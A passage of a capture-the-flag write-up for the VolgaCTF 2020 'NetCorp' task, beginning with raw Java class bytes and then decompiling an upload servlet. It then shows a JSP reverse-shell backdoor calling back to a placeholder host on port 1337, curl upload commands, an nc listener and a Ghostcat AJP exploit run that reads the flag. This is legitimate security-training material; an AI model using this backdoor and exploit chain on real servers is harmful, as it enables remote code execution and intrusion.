ServeScreenshotServlet Constructor called!\x07\x00\xe4\x0c\x00\xe5\x00\xe6\x01\x00+ServeScreenshotServlet "Init" method called\x01\x00.ServeScreenshotServlet "Destroy" method called\x07\x00\xde\x0c\x00\xe7\x00\xe8\x01\x00\x00\x07\x00\xe9\x0c\x00\xea\x00r\x01\x00\x17java/lang/StringBuilder\x0c\x00\xeb\x00\xec\x01\x00*ru/volgactf/netcorp/ServeScreenshotServlet\x01\x00\x07uploads\x0c\x00\xed\x00\xee\x01\x00\x0cjava/io/File\x0c\x00H\x00\xe6\x0c\x00\xef\x00\xf0\x0c\x00\xf1\x00\xf0\x01\x00\x06submit\x0c\x00\xf2\x00r\x01\x00\x04true\x07\x00\xdc\x0c\x00\xf3\x00\xf4\x0c\x00\xf5\x00\xf6\x07\x00\xf7\x0c\x00\xf8\x00\xf9\x07\x00\xdd\x0c\x00\xfa\x00\xf0\x0c\x00\xfb\x00\xfc\x01\x00\x17javax/servlet/http/Part\x0c\x00\x83\x00\x84\x0c\x00\xfd\x00\xee\x0c\x00q\x00r\x0c\x00\xfe\x00F\x01\x00\x05Error\x0c\x00\xff\x00\xe6\x07\x00\xdf\x0c\x01\x00\x01\x01\x01\x00\x10application/json\x0c\x01\x02\x00\xe6\x01\x00\x05UTF-8\x0c\x01\x03\x00\xe6\x01\x00\x10{\'success\':\'%s\'}\x01\x00\x10java/lang/Object\x0c\x01\x04\x01\x05\x07\x01\x06\x0c\x01\x07\x00\xe6\x0c\x01\x08\x00I\x01\x00\x03MD5\x07\x00\xe1\x0c\x01\t\x01\n\x0c\x01\x0b\x01\x0c\x0c\x01\r\x01\x0e\x0c\x00x\x01\x0c\x01\x00\x14java/math/BigInteger\x0c\x00H\x01\x0f\x0c\x00\xed\x01\x10\x0c\x00H\x01\x11\x0c\x01\x12\x01\x13\x01\x00\x010\x01\x00&java/security/NoSuchAlgorithmException\x0c\x01\x14\x00I\x01\x00\x13content-disposition\x0c\x01\x15\x00r\x01\x00\x01;\x0c\x01\x16\x01\x17\x0c\x01\x18\x00\xee\x01\x00\x08filename\x0c\x01\x19\x01\x1a\x01\x00\x01=\x0c\x01\x1b\x01\x1c\x0c\x01\x1d\x01\x1e\x01\x00\x1ejavax/servlet/http/HttpServlet\x01\x00\x1ejavax/servlet/ServletException\x01\x00\x10java/lang/String\x01\x00\x12java/util/Iterator\x01\x00%javax/servlet/http/HttpServletRequest\x01\x00&javax/servlet/http/HttpServletResponse\x01\x00\x13java/io/IOException\x01\x00\x1bjava/security/MessageDigest\x01\x00\x10java/lang/System\x01\x00\x15Ljava/io/PrintStream;\x01\x00\x13java/io/PrintStream\x01\x00\x07println\x01\x00\x15(Ljava/lang/String;)V\x01\x00\x11getServletContext\x01\x00 ()Ljavax/servlet/ServletContext;\x01\x00\x1cjavax/servlet/ServletContext\x01\x00\x0bgetRealPath\x01\x00\x06append\x01\x00-(Ljava/lang/String;)Ljava/lang/StringBuilder;\x01\x00\x08toString\x01\x00\x14()Ljava/lang/String;\x01\x00\x06exists\x01\x00\x03()Z\x01\x00\x05mkdir\x01\x00\x0cgetParameter\x01\x00\x06equals\x01\x00\x15(Ljava/lang/Object;)Z\x01\x00\x08getParts\x01\x00\x18()Ljava/util/Collection;\x01\x00\x14java/util/Collection\x01\x00\x08iterator\x01\x00\x16()Ljava/util/Iterator;\x01\x00\x07hasNext\x01\x00\x04next\x01\x00\x14()Ljava/lang/Object;\x01\x00\x07getName\x01\x00\tseparator\x01\x00\x05write\x01\x00\tgetWriter\x01\x00\x17()Ljava/io/PrintWriter;\x01\x00\x0esetContentType\x01\x00\x14setCharacterEncoding\x01\x00\x06format\x01\x009(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;\x01\x00\x13java/io/PrintWriter\x01\x00\x05print\x01\x00\x05flush\x01\x00\x0bgetInstance\x01\x001(Ljava/lang/String;)Ljava/security/MessageDigest;\x01\x00\x08getBytes\x01\x00\x04()[B\x01\x00\x06update\x01\x00\x05([B)V\x01\x00\x06(I[B)V\x01\x00\x15(I)Ljava/lang/String;\x01\x00\x04(I)V\x01\x00\x06length\x01\x00\x03()I\x01\x00\x0fprintStackTrace\x01\x00\tgetHeader\x01\x00\x05split\x01\x00\'(Ljava/lang/String;)[Ljava/lang/String;\x01\x00\x04trim\x01\x00\nstartsWith\x01\x00\x15(Ljava/lang/String;)Z\x01\x00\x07indexOf\x01\x00\x15(Ljava/lang/String;)I\x01\x00\tsubstring\x01\x00\x16(II)Ljava/lang/String;\x00!\x00\r\x00D\x00\x00\x00\x01\x00\x1a\x00E\x00F\x00\x01\x00G\x00\x00\x00\x02\x00\x0e\x00\x06\x00\x01\x00H\x00I\x00\x01\x00J\x00\x00\x00?\x00\x02\x00\x01\x00\x00\x00\r*\xb7\x00\x01\xb2\x00\x02\x12\x03\xb6\x00\x04\xb1\x00\x00\x00\x02\x00K\x00\x00\x00\x0e\x00\x03\x00\x00\x00\x1a\x00\x04\x00\x1b\x00\x0c\x00\x1c\x00L\x00\x00\x00\x0c\x00\x01\x00\x00\x00\r\x00M\x00N\x00\x00\x00\x01\x00O\x00P\x00\x02\x00J\x00\x00\x00A\x00\x02\x00\x02\x00\x00\x00\t\xb2\x00\x02\x12\x05\xb6\x00\x04\xb1\x00\x00\x00\x02\x00K\x00\x00\x00\n\x00\x02\x00\x00\x00\x1f\x00\x08\x00 \x00L\x00\x00\x00\x16\x00\x02\x00\x00\x00\t\x00M\x00N\x00\x00\x00\x00\x00\t\x00Q\x00R\x00\x01\x00S\x00\x00\x00\x04\x00\x01\x00T\x00\x01\x00U\x00I\x00\x01\x00J\x00\x00\x007\x00\x02\x00\x01\x00\x00\x00\t\xb2\x00\x02\x12\x06\xb6\x00\x04\xb1\x00\x00\x00\x02\x00K\x00\x00\x00\n\x00\x02\x00\x00\x00$\x00\x08\x00%\x00L\x00\x00\x00\x0c\x00\x01\x00\x00\x00\t\x00M\x00N\x00\x00\x00\x04\x00V\x00W\x00\x02\x00J\x00\x00\x02O\x00\x06\x00\x0c\x00\x00\x00\xfc+\xb9\x00\x07\x01\x00\x12\x08\xb9\x00\t\x02\x00N\xbb\x00\nY\xb7\x00\x0b-\xb6\x00\x0c\x12\x0e\xb6\x00\x0c\xb6\x00\x0f:\x04\xbb\x00\x10Y\x19\x04\xb7\x00\x11:\x05\x19\x05\xb6\x00\x12\x9a\x00\t\x19\x05\xb6\x00\x13W+\x12\x14\xb9\x00\x15\x02\x00:\x06\x19\x06\xc6\x00\r\x19\x06\x12\x16\xb6\x00\x17\x9a\x00\x03+\xb9\x00\x18\x01\x00\xb9\x00\x19\x01\x00:\x07\x19\x07\xb9\x00\x1a\x01\x00\x99\x00b\x19\x07\xb9\x00\x1b\x01\x00\xc0\x00\x1c:\x08*\x19\x08\xb7\x00\x1d:\t\xbb\x00\x10Y\x19\t\xb7\x00\x11\xb6\x00\x1e:\t*\x19\t\xb7\x00\x1f:\n\xbb\x00\nY\xb7\x00\x0b\x19\x04\xb6\x00\x0c\xb2\x00 \xb6\x00\x0c\x19\n\xb6\x00\x0c\xb6\x00\x0f:\x0b\x19\x0b\x12!\xb6\x00\x17\x99\x00\x06\xa7\xff\xa6\x19\x08\x19\x0b\xb9\x00"\x02\x00\xa7\xff\x9a,\xb9\x00#\x01\x00:\x07,\x12$\xb9\x00%\x02\x00,\x12&\xb9\x00\'\x02\x00\x19\x07\x12(\x04\xbd\x00)Y\x03\x12\x16S\xb8\x00*\xb6\x00+\x19\x07\xb6\x00,\xb1\x00\x00\x00\x03\x00K\x00\x00\x00Z\x00\x16\x00\x00\x00+\x00\x0e\x00.\x00#\x000\x00.\x001\x006\x002\x00<\x004\x00F\x005\x00U\x008\x00x\x009\x00\x80\x00;\x00\x8e\x00<\x00\x96\x00=\x00\xb2\x00>\x00\xbc\x00?\x00\xbf\x00@\x00\xc8\x00A\x00\xcb\x00C\x00\xd3\x00D\x00\xdb\x00E\x00\xe3\x00F\x00\xf6\x00G\x00\xfb\x00H\x00L\x00\x00\x00z\x00\x0c\x00\x80\x00H\x00X\x00F\x00\t\x00\x96\x002\x00Y\x00F\x00\n\x00\xb2\x00\x16\x00Z\x00F\x00\x0b\x00x\x00P\x00[\x00\\\x00\x08\x00\x00\x00\xfc\x00M\x00N\x00\x00\x00\x00\x00\xfc\x00]\x00^\x00\x01\x00\x00\x00\xfc\x00_\x00`\x00\x02\x00\x0e\x00\xee\x00a\x00F\x00\x03\x00#\x00\xd9\x00b\x00F\x00\x04\x00.\x00\xce\x00c\x00d\x00\x05\x00F\x00\xb6\x00e\x00F\x00\x06\x00\xd3\x00)\x00f\x00g\x00\x07\x00h\x00\x00\x00a\x00\x05\xfe\x00<\x07\x00i\x07\x00i\x07\x00j\xfc\x00\x18\x07\x00i\xfc\x00\x0c\x07\x00k\xff\x00\\\x00\x0c\x07\x00l\x07\x00m\x07\x00n\x07\x00i\x07\x00i\x07\x00j\x07\x00i\x07\x00k\x07\x00o\x07\x00i\x07\x00i\x07\x00i\x00\x00\xff\x00\x0b\x00\x07\x07\x00l\x07\x00m\x07\x00n\x07\x00i\x07\x00i\x07\x00j\x07\x00i\x00\x00\x00S\x00\x00\x00\x06\x00\x02\x00T\x00p\x00\x02\x00q\x00r\x00\x01\x00J\x00\x00\x01G\x00\x04\x00\x08\x00\x00\x00c\x12-\xb8\x00.M,+\xb6\x00/\xb6\x000,\xb6\x001N\xbb\x002Y\x04-\xb7\x003\x10\x10\xb6\x004:\x04\xbb\x00\nY\x10 \xb7\x005:\x05\x036\x06\x10 \x19\x04\xb6\x006d6\x07\x15\x06\x15\x07\xa2\x00\x11\x19\x05\x127\xb6\x00\x0cW\x84\x06\x01\xa7\xff\xee\x19\x05\x19\x04\xb6\x00\x0c\xb6\x00\x0f\xb0M,\xb6\x009\x12!\xb0\x00\x01\x00\x00\x00Z\x00[\x008\x00\x03\x00K\x00\x00\x002\x00\x0c\x00\x00\x00L\x00\x06\x00M\x00\x0e\x00N\x00\x13\x00O\x00#\x00P\x00.\x00R\x00B\x00S\x00J\x00R\x00P\x00V\x00[\x00X\x00\\\x00Y\x00`\x00Z\x00L\x00\x00\x00\\\x00\t\x001\x00\x1f\x00s\x00t\x00\x06\x00;\x00\x15\x00u\x00t\x00\x07\x00\x06\x00U\x00v\x00w\x00\x02\x00\x13\x00H\x00x\x00y\x00\x03\x00#\x008\x00z\x00F\x00\x04\x00.\x00-\x00{\x00|\x00\x05\x00\\\x00\x07\x00}\x00~\x00\x02\x00\x00\x00c\x00M\x00N\x00\x00\x00\x00\x00c\x00X\x00F\x00\x01\x00h\x00\x00\x000\x00\x03\xff\x00;\x00\x08\x07\x00l\x07\x00i\x07\x00\x7f\x07\x00\x80\x07\x00i\x07\x00\x81\x01\x01\x00\x00\xf9\x00\x14\xff\x00\n\x00\x02\x07\x00l\x07\x00i\x00\x01\x07\x00\x82\x00\x02\x00\x83\x00\x84\x00\x01\x00J\x00\x00\x00\xe3\x00\x04\x00\x08\x00\x00\x00U+\x12:\xb9\x00;\x02\x00M,\x12<\xb6\x00=N-:\x04\x19\x04\xbe6\x05\x036\x06\x15\x06\x15\x05\xa2\x003\x19\x04\x15\x062:\x07\x19\x07\xb6\x00>\x12?\xb6\x00@\x99\x00\x19\x19\x07\x19\x07\x12A\xb6\x00B\x05`\x19\x07\xb6\x006\x04d\xb6\x00C\xb0\x84\x06\x01\xa7\xff\xcc\x12\x08\xb0\x00\x00\x00\x03\x00K\x00\x00\x00\x1e\x00\x07\x00\x00\x00_\x00\t\x00`\x00\x10\x00a\x00)\x00b\x006\x00c\x00L\x00a\x00R\x00f\x00L\x00\x00\x004\x00\x05\x00)\x00#\x00\x85\x00F\x00\x07\x00\x00\x00U\x00M\x00N\x00\x00\x00\x00\x00U\x00[\x00\\\x00\x01\x00\t\x00L\x00\x86\x00F\x00\x02\x00\x10\x00E\x00\x87\x00\x88\x00\x03\x00h\x00\x00\x00\x1e\x00\x03\xff\x00\x1b\x00\x07\x07\x00l\x07\x00o\x07\x00i\x07\x00\x89\x07\x00\x89\x01\x01\x00\x000\xf8\x00\x05\x00\x02\x00\x8a\x00\x00\x00\x02\x00\x8b\x00\x8c\x00\x00\x00\x06\x00\x01\x00\x8d\x00\x00')

create_class_file("ServeComplaintServlet", b'\xca\xfe\xba\xbe\x00\x00\x004\x00>\n\x00\x08\x00+\t\x00,\x00-\x08\x00.\n\x00/\x000\x08\x001\x08\x002\x07\x003\x07\x004\x01\x00\x10serialVersionUID\x01\x00\x01J\x01\x00\rConstantValue\x05\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\x08SAVE_DIR\x01\x00\x12Ljava/lang/String;\x08\x005\x01\x00\x06<init>\x01\x00\x03()V\x01\x00\x04Code\x01\x00\x0fLineNumberTable\x01\x00\x12LocalVariableTable\x01\x00\x04this\x01\x00+Lru/volgactf/netcorp/ServeComplaintServlet;\x01\x00\x04init\x01\x00 (Ljavax/servlet/ServletConfig;)V\x01\x00\x06config\x01\x00\x1dLjavax/servlet/ServletConfig;\x01\x00\nExceptions\x07\x006\x01\x00\x07destroy\x01\x00\x05doGet\x01\x00R(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V\x01\x00\x07request\x01\x00\'Ljavax/servlet/http/HttpServletRequest;\x01\x00\x08response\x01\x00(Ljavax/servlet/http/HttpServletResponse;\x07\x007\x01\x00\x06doPost\x01\x00\nSourceFile\x01\x00\x1aServeComplaintServlet.java\x01\x00\x19RuntimeVisibleAnnotations\x01\x00*Ljavax/servlet/annotation/MultipartConfig;\x0c\x00\x11\x00\x12\x07\x008\x0c\x009\x00:\x01\x00*ServeScreenshotServlet Constructor called!\x07\x00;\x0c\x00<\x00=\x01\x00+ServeScreenshotServlet "Init" method called\x01\x00.ServeScreenshotServlet "Destroy" method called\x01\x00)ru/volgactf/netcorp/ServeComplaintServlet\x01\x00\x1ejavax/servlet/http/HttpServlet\x01\x00\x07uploads\x01\x00\x1ejavax/servlet/ServletException\x01\x00\x13java/io/IOException\x01\x00\x10java/lang/System\x01\x00\x03out\x01\x00\x15Ljava/io/PrintStream;\x01\x00\x13java/io/PrintStream\x01\x00\x07println\x01\x00\x15(Ljava/lang/String;)V\x00!\x00\x07\x00\x08\x00\x00\x00\x02\x00\x1a\x00\t\x00\n\x00\x01\x00\x0b\x00\x00\x00\x02\x00\x0c\x00\x1a\x00\x0e\x00\x0f\x00\x01\x00\x0b\x00\x00\x00\x02\x00\x10\x00\x05\x00\x01\x00\x11\x00\x12\x00\x01\x00\x13\x00\x00\x00?\x00\x02\x00\x01\x00\x00\x00\r*\xb7\x00\x01\xb2\x00\x02\x12\x03\xb6\x00\x04\xb1\x00\x00\x00\x02\x00\x14\x00\x00\x00\x0e\x00\x03\x00\x00\x00\x15\x00\x04\x00\x16\x00\x0c\x00\x17\x00\x15\x00\x00\x00\x0c\x00\x01\x00\x00\x00\r\x00\x16\x00\x17\x00\x00\x00\x01\x00\x18\x00\x19\x00\x02\x00\x13\x00\x00\x00A\x00\x02\x00\x02\x00\x00\x00\t\xb2\x00\x02\x12\x05\xb6\x00\x04\xb1\x00\x00\x00\x02\x00\x14\x00\x00\x00\n\x00\x02\x00\x00\x00\x1b\x00\x08\x00\x1c\x00\x15\x00\x00\x00\x16\x00\x02\x00\x00\x00\t\x00\x16\x00\x17\x00\x00\x00\x00\x00\t\x00\x1a\x00\x1b\x00\x01\x00\x1c\x00\x00\x00\x04\x00\x01\x00\x1d\x00\x01\x00\x1e\x00\x12\x00\x01\x00\x13\x00\x00\x007\x00\x02\x00\x01\x00\x00\x00\t\xb2\x00\x02\x12\x06\xb6\x00\x04\xb1\x00\x00\x00\x02\x00\x14\x00\x00\x00\n\x00\x02\x00\x00\x00 \x00\x08\x00!\x00\x15\x00\x00\x00\x0c\x00\x01\x00\x00\x00\t\x00\x16\x00\x17\x00\x00\x00\x04\x00\x1f\x00 \x00\x02\x00\x13\x00\x00\x00?\x00\x00\x00\x03\x00\x00\x00\x01\xb1\x00\x00\x00\x02\x00\x14\x00\x00\x00\x06\x00\x01\x00\x00\x00\'\x00\x15\x00\x00\x00 \x00\x03\x00\x00\x00\x01\x00\x16\x00\x17\x00\x00\x00\x00\x00\x01\x00!\x00"\x00\x01\x00\x00\x00\x01\x00#\x00$\x00\x02\x00\x1c\x00\x00\x00\x06\x00\x02\x00\x1d\x00%\x00\x04\x00&\x00 \x00\x02\x00\x13\x00\x00\x00?\x00\x00\x00\x03\x00\x00\x00\x01\xb1\x00\x00\x00\x02\x00\x14\x00\x00\x00\x06\x00\x01\x00\x00\x00,\x00\x15\x00\x00\x00 \x00\x03\x00\x00\x00\x01\x00\x16\x00\x17\x00\x00\x00\x00\x00\x01\x00!\x00"\x00\x01\x00\x00\x00\x01\x00#\x00$\x00\x02\x00\x1c\x00\x00\x00\x06\x00\x02\x00\x1d\x00%\x00\x02\x00\'\x00\x00\x00\x02\x00(\x00)\x00\x00\x00\x06\x00\x01\x00*\x00\x00')
```

Now files can be decompiled to analyze them:
* [`ServeScreenshotServlet.class`](https://github.com/m3ssap0/CTF-Writeups/raw/master/VolgaCTF%20Qualifier%202020/NetCorp/ServeScreenshotServlet.class);
* [`ServeComplaintServlet.class`](https://github.com/m3ssap0/CTF-Writeups/raw/master/VolgaCTF%20Qualifier%202020/NetCorp/ServeComplaintServlet.class).

The interesting one is `ServeScreenshotServlet.class`.

```java
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String appPath = request.getServletContext().getRealPath("");


String savePath = appPath + "uploads";

File fileSaveDir = new File(savePath);
if (!fileSaveDir.exists()) {
fileSaveDir.mkdir();
}
String submut = request.getParameter("submit");
if (submut == null || !submut.equals("true"));


for (Part part : request.getParts()) {
String fileName = extractFileName(part);

fileName = (new File(fileName)).getName();
String hashedFileName = generateFileName(fileName);
String path = savePath + File.separator + hashedFileName;
if (path.equals("Error"))
continue;
part.write(path);
}

PrintWriter out = response.getWriter();
response.setContentType("application/json");
response.setCharacterEncoding("UTF-8");
out.print(String.format("{'success':'%s'}", new Object[] { "true" }));
out.flush();
}

private String generateFileName(String fileName) {
try {
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(fileName.getBytes());
byte[] digest = md.digest();
String s2 = (new BigInteger(true, digest)).toString(16);
StringBuilder sb = new StringBuilder(32);

for (int i = 0, count = 32 - s2.length(); i < count; i++) {
sb.append("0");
}

return sb.append(s2).toString();
}
catch (NoSuchAlgorithmException e) {
e.printStackTrace();
return "Error";
}
}
```

The `ServeScreenshotServlet` contains a file upload functionality via HTTP POST request. The file is stored under `/uploads/` subdirectory with an hashed `fileName`.

You can use a pure Java [backdoor.jsp](https://github.com/m3ssap0/CTF-Writeups/raw/master/VolgaCTF%20Qualifier%202020/NetCorp/backdoor.jsp) file to execute commands on the remote host.

```jsp
<%
java.lang.String host="x.x.x.x";
int port=1337;
java.lang.String[] cmd={"commands", "here"};
java.lang.Process p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();java.net.Socket s=new java.net.Socket(host,port);java.io.InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();java.io.OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50L);try {p.exitValue();break;}catch (java.lang.Exception e){}};p.destroy();s.close();
%>
```

The file can be uploaded with the following. command.

```
root@m3ss4p0:~# curl -F '[email protected]' -X POST http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot
{'success':'true'}
```

The name of the page will be the MD5 hash of the original name.

```
root@m3ss4p0:~# curl -X GET http://netcorp.q.2020.volgactf.ru:7782/uploads/76fd18e7cd6f88d7ae8591ed08ea6fbb
<%
java.lang.String host="x.x.x.x";
int port=1337;
java.lang.String[] cmd={"commands", "here"};
java.lang.Process p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();java.net.Socket s=new java.net.Socket(host,port);java.io.InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();java.io.OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50L);try {p.exitValue();break;}catch (java.lang.Exception e){}};p.destroy();s.close();
%>
```

A listening server can be set up with `nc -lvkp 1337`.

The execution can be triggered with the exploit.

```
root@m3ss4p0:~/Ghostcat-CNVD-2020-10487# python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /uploads/76fd18e7cd6f88d7ae8591ed08ea6fbb eval

_ _ __ _ _
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
//_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|__/|_|
00theway,just for test

[<] 200 200
[<] Set-Cookie: JSESSIONID=969DC9D72D7FBE51D6A6909922B94662; Path=/; HttpOnly
[<] Content-Type: text/html;charset=ISO-8859-1
[<] Content-Length: 1
```

Launching the attack with `java.lang.String[] cmd={"ls"};` into the backdoor file will give you the following.

```
user@listening-server:~$ nc -lvkp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from bahilovopt.ru 49794 received!
BUILDING.txt
CONTRIBUTING.md
LICENSE
NOTICE
README.md
RELEASE-NOTES
RUNNING.txt
bin
conf
flag.txt
lib
logs
temp
webapps
work
```

Launching the attack with `java.lang.String[] cmd={"cat", "flag.txt"};` into the backdoor file will give you the flag.

```
user@listening-server:~$ nc -lvkp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from bahilovopt.ru 41004 received!
VolgaCTF{qualification_unites_and_real_awesome_nothing_though_i_need_else}
```

Original writeup (https://github.com/m3ssap0/CTF-Writeups/blob/master/VolgaCTF%20Qualifier%202020/NetCorp/README.md).